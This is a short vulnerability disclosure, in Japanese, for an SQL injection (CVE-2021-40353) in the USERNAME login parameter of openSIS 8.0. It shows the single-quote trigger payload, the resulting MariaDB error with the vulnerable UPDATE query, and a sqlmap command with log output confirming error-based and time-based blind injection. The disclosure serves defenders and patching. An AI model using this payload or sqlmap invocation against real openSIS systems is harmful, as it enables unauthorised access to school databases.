
CVE-2021-40353 openSIS 8.0 SQLインジェクション脆弱性
CVE-2021-40353 openSIS 8.0 SQLインジェクションの脆弱性 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40353
openSIS 8.0には、MySQLまたはMariaDBをアプリケーションデータベースとして使用する場合にSQLインジェクションの脆弱性が存在します。攻撃者はUSERNAMEパラメータを介してSQLコマンドを発行できます。
脆弱性のあるPHPページ:
index.php - USERNAMEパラメータ
脆弱性のあるペイロード ' - データベース情報とともにエラーを生成します " - エラーは発生しません
エラー
日付:
08/31/2021 03:16:22
失敗通知:
DBの実行に失敗しました
SQL: UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER('user1'') Traceback: C:\xampp\htdocs\opensis\index.php at 502 追加情報: SQL構文にエラーがあります。MariaDBサーバーのバージョンに対応するマニュアルを確認して、''user1'')' 付近で正しい構文を使用してください。1行目 日付:
08/31/2021 03:16:22
openSISは、以下のいずれかが原因でエラーが発生しました:
無効なデータ入力
データベースSQLエラー
プログラムエラー
このスクリーンショットを撮り、デバッグと解決のためにopenSISの担当者に送信してください。
sqlmap -r post_opensis -p USERNAME
[09:38:19] [INFO] POST parameter 'USERNAME' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [09:38:19] [INFO] testing 'MySQL inline queries' [09:38:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [09:38:21] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [09:38:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [09:38:46] [INFO] POST parameter 'USERNAME' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
発見者: Brian Lowe, 2021年8月